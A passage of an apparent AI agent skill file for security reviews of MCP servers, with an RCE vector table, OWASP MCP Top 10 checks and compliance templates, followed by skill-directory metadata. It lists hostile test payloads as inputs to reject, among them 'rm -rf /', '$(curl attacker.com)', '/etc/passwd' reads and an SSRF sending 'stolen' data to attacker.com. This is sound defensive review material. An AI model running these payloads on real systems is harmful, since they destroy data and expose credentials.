Dependency pinning and update hygiene show the SDK is maintained.\n\n**Key pitfall:** Hand-rolled servers often miss one \"small\" primitive—per-request auth, throttling, or validation—and the gaps compound.\n\n## RCE Vectors\n\n| Vector | Dangerous code | Safe alternative | Test payload | CWE |\n|---|---|---|---|---|\n| Command injection | `exec(\"convert \" + args.filename)`, `os.system(f\"process {user_input}\")`, `Process.Start(\"cmd\", \"\u002Fc \" + toolArg)` | `execFile(\"convert\", [args.filename])`, `subprocess.run([\"process\", user_input], shell=False)` | `; rm -rf \u002F`, `$(curl attacker.com)`, `| net user` must be rejected or treated literally | CWE-78 |\n| Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist | `__import__('os').system('whoami')`, `require('child_process').exec('id')` must be rejected | CWE-94, CWE-95 |\n| Unsafe deserialization | `pickle.loads(user_data)`, `yaml.load(input, Loader=yaml.UnsafeLoader)`, `BinaryFormatter.Deserialize(stream)` | `yaml.safe_load()`, `JSON.parse()` plus schema validation; avoid binary formats for untrusted input | Crafted serialized payloads must be rejected or safely handled | CWE-502 |\n| Path traversal | `fs.readFile(args.path)` without validation, `open(user_path, 'w')` | Canonicalize and enforce an allowlisted base directory before read\u002Fwrite\u002Fexecute | `..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd`, `C:\\Windows\\System32\\config\\SAM`, `..\\..\\..\\.env` must be rejected | CWE-22 |\n| SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only | `{{7*7}}`, `${7*7}`, `\u003C%= 7*7 %>` must not render `49` | CWE-1336 |\n| Dependency hijacking | Unpinned deps such as `\"lodash\": \"^4.0.0\"`; internal package names resolvable from public registries | Pin exact versions, keep lock files with integrity hashes, use trusted\u002Fscoped registries, verify signatures where available | `npm audit`, `pip audit`, or `dotnet list package --vulnerable`; review for CVEs and suspicious packages | CWE-829 |\n| SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes\u002Fdomains, block RFC1918 and link-local targets, validate URLs before sending | `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`, `http:\u002F\u002Flocalhost:8080\u002Fadmin`, `http:\u002F\u002Fattacker.com\u002F?data=stolen` must be rejected | CWE-918 |\n\n## OWASP MCP Top 10\n\n**MCP01:2025 — Token Mismanagement & Secret Exposure**\nTest: Search for hardcoded secrets and token logging; verify secrets come from env vars or a secrets manager; verify short-lived\u002Frotated tokens.\nPass: No hardcoded secrets, sensitive fields redacted, short-lived\u002Frotated tokens. Fail: Hardcoded secrets, token logging, or long-lived tokens without rotation.\n\n**MCP02:2025 — Privilege Escalation via Scope Creep**\nTest: Review scopes\u002Froles; confirm least privilege and per-request authorization; reject wildcard admin scopes unless justified; check for runtime capability expansion.\nPass: Least-privilege scopes, per-request authorization, no runtime capability expansion. Fail: Broad scopes, one-time auth only, or self-escalating tools.\n\n**MCP03:2025 — Tool Poisoning**\nTest: Check whether tool definitions are static and server-controlled, whether tools can alter metadata, and whether outputs contain LLM-parseable instructions.\nPass: Static server-controlled definitions and data-only outputs. Fail: External metadata sources or outputs with embedded instructions.\n\n**MCP04:2025 — Supply Chain Attacks & Dependency Tampering**\nTest: Check for lock files, exact pinning, suspicious `postinstall` scripts, dependency audit results, and trusted registries.\nPass: Pinned deps, committed lock file, no known vulnerabilities, no suspicious post-install scripts. Fail: Unpinned deps, no lock file, unpatched CVEs, or untrusted registries.\n\n**MCP05:2025 — Command Injection & Execution**\nTest: Search for shell execution APIs and string-built commands; trace whether tool input reaches shell execution; test `; ls`, `$(whoami)`, `| cat \u002Fetc\u002Fpasswd`.\nPass: No shell execution from untrusted input, or only parameterized allowlisted execution. Fail: User input reaches shell commands, `shell=True` with formatted strings, or unsafe concatenation.\n\n**MCP06:2025 — Prompt Injection via Contextual Payloads**\nTest: Check whether tool output goes back to the LLM, whether external content is sanitized\u002Ftruncated\u002Fsandboxed, and whether chained tool calls are guarded; test adversarial instruction-bearing output.\nPass: Tool outputs are data, untrusted content is sanitized\u002Ftruncated\u002Fsandboxed, and chaining has guardrails. Fail: Raw external content returns to the model and there are no chaining limits.\n\n**MCP07:2025 — Insufficient Authentication & Authorization**\nTest: Send requests without auth and with expired\u002Finvalid tokens; verify per-tool authorization; confirm auth is enforced in the server, not only at the gateway.\nPass: All endpoints require valid auth, per-tool authorization exists, and enforcement happens server-side. Fail: Any unauthenticated access, missing per-tool auth, or gateway-only enforcement.\n\n**MCP08:2025 — Lack of Audit and Telemetry**\nTest: Invoke a tool and confirm logs capture caller identity, tool name, and timestamp; trigger an error and confirm useful context; verify centralized logging and alerting.\nPass: Tool invocations are logged with identity, logs are centralized, and alerts exist. Fail: Missing logs, no caller identity, local-only logging, or no alerting.\n\n**MCP09:2025 — Shadow MCP Servers**\nTest: Verify the server exists in service inventory; inspect for undocumented MCP endpoints or exposed non-standard ports; check dev\u002Fstaging isolation; verify an owner and review trail.\nPass: All servers are inventoried, isolated appropriately, and owned. Fail: Undocumented servers, dev\u002Ftest exposure into production networks, or no ownership.\n\n**MCP10:2025 — Context Injection & Over-Sharing**\nTest: Inspect tool responses for data minimization; check for PII or full objects when only subsets are needed; verify context isolation.\nPass: Minimal data is returned, sensitive fields are masked\u002Fexcluded, and context is isolated. Fail: Full objects are returned unnecessarily, PII is exposed, or context is shared across users.\n\n## Compliance Output Format\n\nIn every summary table below, the **Justification** cell must cite specific file\u002Fline evidence for the status.\n\n### Control summary\n\n| Control | Name | Status | Justification |\n|---|---|---|---|\n| MCP-01 | Auth & Identity isolation | ✅ PASS \u002F ❌ FAIL \u002F ⚠️ NEEDS INVESTIGATION \u002F N\u002FA | … |\n| MCP-02 | Secure Session Management | … | … |\n| MCP-03 | Rate limiting & abuse protection | … | … |\n| MCP-04 | Input schema validation | … | … |\n| MCP-05 | Production SDK usage | … | … |\n\nUse **PASS** only when the code clearly satisfies the control. Use **FAIL** when the violation is observable. Use **NEEDS INVESTIGATION** when compliance depends on deployment config, identity-provider state, logs, or other evidence not visible in source.\n\n### RCE summary\n\n| Vector | Status | Justification |\n|---|---|---|\n| Command injection | SAFE \u002F AT RISK \u002F N\u002FA | … |\n| Dynamic code evaluation | … | … |\n| Unsafe deserialization | … | … |\n| Path traversal | … | … |\n| SSTI | … | … |\n| Dependency hijacking | … | … |\n| SSRF | … | … |\n\n### OWASP summary\n\n| Risk | Status | Justification |\n|---|---|---|\n| MCP01:2025 | ✅ PASS \u002F ❌ FAIL \u002F ⚠️ NEEDS INVESTIGATION | … |\n| MCP02:2025 | … | … |\n| MCP03:2025 | … | … |\n| MCP04:2025 | … | … |\n| MCP05:2025 | … | … |\n| MCP06:2025 | … | … |\n| MCP07:2025 | … | … |\n| MCP08:2025 | … | … |\n| MCP09:2025 | … | … |\n| MCP10:2025 | … | … |\n\n### Manual follow-ups\nList every check that could not be fully resolved from source code, specifying what artifact or access is needed to verify it.\n\n## Exception process\n- **Document the gap:** Identify the unmet control, the exact deviation, residual risk, and any compensating controls.\n- **Get explicit approval:** Route the exception through security\u002Frelease approval with an owner and an expiration or review date.\n- **Track and re-evaluate:** Record the approved exception with compliance results and revisit it on expiry or whenever the server, tools, traffic profile, or exposure changes.\n",{"name":5,"description":7},"main","58843b159d7a4050d6b785a98b908cce505c0b92",".agents\u002Fskills\u002Fmcp-implementation-security-review",0,"https:\u002F\u002Fgithub.com\u002FReihantt6\u002Fsns-myagent","https:\u002F\u002Fgithub.com\u002FReihantt6","reihsns.web.id","2026-08-19 20:08:18",{"source":8,"skillName":5,"commands":33,"prompt":43,"zipAvailable":44},[34,37,40],{"tool":35,"command":36},"npx","npx skills add Reihantt6\u002Fsns-myagent --skill mcp-implementation-security-review",{"tool":38,"command":39},"bunx","bunx skills add Reihantt6\u002Fsns-myagent --skill mcp-implementation-security-review",{"tool":41,"command":42},"pnpm","pnpm dlx skills add Reihantt6\u002Fsns-myagent --skill mcp-implementation-security-review","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FReihantt6\u002Fsns-myagent\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fmcp-implementation-security-review\u002FSKILL.md",true,[],[47,54,61,68,75,82],{"skillNo":48,"name":49,"nameZh":6,"description":50,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":51,"categories":52,"keywords":53,"publishedAt":19},"01M77XDCYZ407XYMF2T4P6F7VT","youtube-transcript","Extract transcripts from YouTube videos. Use when the user asks for a transcript, subtitles, or captions of a YouTube video and provides a YouTube URL (youtube.com\u002Fwatch?v=, youtu.be\u002F, or similar). Supports output with or without timestamps.","https:\u002F\u002Fgithub.com\u002FReihantt6\u002Fsns-myagent\u002Fblob\u002Fmain\u002Fagent\u002Fskills\u002Fyoutube-transcript\u002FSKILL.md",[],[],{"skillNo":55,"name":56,"nameZh":6,"description":57,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":58,"categories":59,"keywords":60,"publishedAt":19},"01M77XD7PBC98J6MXGJJ2TJ8DX","youtube-thumbnail-design","YouTube thumbnail design with specific dimensions, contrast rules, and mobile preview optimization. Covers safe zones, text placement, face expression psychology, and A\u002FB testing. Use for: YouTube thumbnails, video cover images, click-through optimization. Triggers: youtube thumbnail, thumbnail design, video thumbnail, click through rate, ctr optimization, youtube cover, video cover image, thumbnail maker, thumbnail tips, youtube design, video preview image","https:\u002F\u002Fgithub.com\u002FReihantt6\u002Fsns-myagent\u002Fblob\u002Fmain\u002Fagent\u002Fskills\u002Fyoutube-thumbnail-design\u002FSKILL.md",[],[],{"skillNo":62,"name":63,"nameZh":6,"description":64,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":65,"categories":66,"keywords":67,"publishedAt":19},"01M77XD2541C8HXJ6RHYZP4NGJ","youtube-short-maker","Make YouTube Shorts that hold attention with Pexo — vertical 9:16, fast-paced, hook in the first 3 seconds. Describe your topic and Pexo writes the script, generates the shots, picks the models, and assembles a finished Short with music and captions. Use for YouTube Shorts: \"youtube short\", \"make a youtube short\", \"shorts video\", \"short-form video\". NOT for long-form or landscape video.","https:\u002F\u002Fgithub.com\u002FReihantt6\u002Fsns-myagent\u002Fblob\u002Fmain\u002Fagent\u002Fskills\u002Fyoutube-short-maker\u002FSKILL.md",[],[],{"skillNo":69,"name":70,"nameZh":6,"description":71,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":72,"categories":73,"keywords":74,"publishedAt":19},"01M77XCXKVSYK7KTZ3PQBVVGFD","xcode-project-setup","Safely modifies Xcode projects (.pbxproj) to add Swift Packages and link files. Use this skill whenever an iOS project needs dependencies installed (e.g. Firebase, Alamofire).","https:\u002F\u002Fgithub.com\u002FReihantt6\u002Fsns-myagent\u002Fblob\u002Fmain\u002Fagent\u002Fskills\u002Fxcode-project-setup\u002FSKILL.md",[],[],{"skillNo":76,"name":77,"nameZh":6,"description":78,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":81,"publishedAt":19},"01M77XCR1DV8ZQK2NHWKVY4EWX","x402","Set up Browser Use Cloud payments with x402 — pay per request from a crypto wallet (USDC on Base mainnet), no signup or API key. Two setups it works out up front — \"just use it\" (set up a wallet so you or Claude Code can run cloud browser tasks paid from the wallet — Claude writes and runs throwaway scripts, nothing touches your codebase) or \"build it in\" (install the SDK and write the key + code into your project). Walks through wallet setup, funding, .env, and a ~$1 test run. Use when the user asks about x402, pay-per-use, USDC payments, or wants Browser Use Cloud without an API key. For the free-tier signup (reverse-CAPTCHA → API key), use `browser-use cloud signup` or the `cloud` skill instead.","https:\u002F\u002Fgithub.com\u002FReihantt6\u002Fsns-myagent\u002Fblob\u002Fmain\u002Fagent\u002Fskills\u002Fx402\u002FSKILL.md",[],[],{"skillNo":83,"name":84,"nameZh":6,"description":85,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":86,"categories":87,"keywords":88,"publishedAt":19},"01M77XCMD3R3ZBZQQSW6E0793B","x-twitter-scraper","Build GitHub Copilot workflows with Xquik X API SDKs, REST endpoints, hosted Apify Actor runs, MCP tools, TweetClaw OpenClaw plugin installs, signed webhooks, tweet search, user lookup, follower exports, media actions, and agent automation.","https:\u002F\u002Fgithub.com\u002FReihantt6\u002Fsns-myagent\u002Fblob\u002Fmain\u002Fagent\u002Fskills\u002Fx-twitter-scraper\u002FSKILL.md",[],[]]